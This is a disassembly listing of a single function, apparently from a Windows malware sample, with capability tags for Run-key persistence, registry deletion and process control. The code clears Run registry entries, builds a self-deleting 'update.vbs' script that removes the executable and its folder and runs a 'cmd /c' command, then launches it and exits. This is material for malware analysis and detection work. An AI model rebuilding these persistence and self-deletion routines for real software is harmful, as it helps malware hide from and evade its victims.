Function at 0x9bfde
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.000a12b5
cmp byte [0xfe9c4], 0x30
je 0x9bffb
call fcn.0009a7f2
xor ebx, ebx
inc ebx
cmp byte [0xffd2b], bl
jne 0x9c00b
call fcn.000a7a4a
cmp byte [0xffa75], 0
je 0x9c025
mov ecx, 0x101cfc
call fcn.00091ee4
mov ecx, eax
call fcn.000aa01b
mov esi, 0x1021d0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0xffb03], bl
jne 0x9c04c
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, edi
mov ecx, 0x80000001
call fcn.000a2414
pop ecx
mov ebp, 0x80000002
cmp byte [0xffb00], bl
jne 0x9c06b
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, edi
mov ecx, ebp
call fcn.000a2414
pop ecx
cmp byte [0xffb01], bl
jne 0x9c088
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.000a2414
pop ecx
mov esi, 0x102248
mov ecx, esi
call fcn.0009245c
push eax
mov ecx, esi
call fcn.00091f8b
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x102200
push str.exepath
mov ecx, ebx
call fcn.00091f8b
mov edx, eax
call fcn.000a20e8
add esp, 0x14
xor edi, edi
test al, al
jne 0x9c0dc
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00091f8b
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0xf9654
neg ebx
mov edx, ebp
mov ecx, 0x102218
sbb bl, bl
and bl, 1
call fcn.00098197
test al, al
je 0x9c134
push 0x80
mov ecx, 0x102218
call fcn.00091ee4
push eax
call esi
push str.update.vbs
push 0xf3bd0
call fcn.000c9e5f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00092ff4
pop ecx
lea ecx, [esp + 0x28]
call fcn.00091ee9
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0009415e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.000942dc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00091ee9
test bl, bl
je 0x9c1e5
push 0xf3d98
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0009415e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.000942dc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0009323d
lea ecx, [esp + 0x28]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
lea ecx, [esp + 0x58]
call fcn.00091ee9
mov esi, 0xf3dd0
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0009323d
lea ecx, [esp + 0x58]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
lea ecx, [esp + 0x28]
call fcn.00091ee9
test bl, bl
je 0x9c250
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.0009808e
mov ebx, 0x102218
mov edx, ebp
mov ecx, ebx
call fcn.00098197
test al, al
je 0x9c29b
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0009a8cc
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0009323d
lea ecx, [esp + 0x58]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
push 0xf3c74
push str._____0
lea ecx, [esp + 0xa8]
call fcn.0009415e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.000942fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00092f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0009323d
lea ecx, [esp + 0x58]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
lea ecx, [esp + 0x28]
call fcn.00091ee9
lea ecx, [esp + 0x88]
call fcn.00091ee9
lea ecx, [esp + 0xa0]
call fcn.00091ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.0009808e
push edi
lea ecx, [esp + 0x74]
call fcn.00091ee4
push eax
lea ecx, [esp + 0x18]
call fcn.0009245c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00091ee4
mov edx, esi
mov ecx, eax
call fcn.000aa17b
pop ecx
pop ecx
test al, al
je 0x9c38f
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00091ee4
push eax
push 0xf30ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x9c38f
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00091ee9
lea ecx, [esp + 0x70]
call fcn.00091ee9
lea ecx, [esp + 0x2c8]
call fcn.00091ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret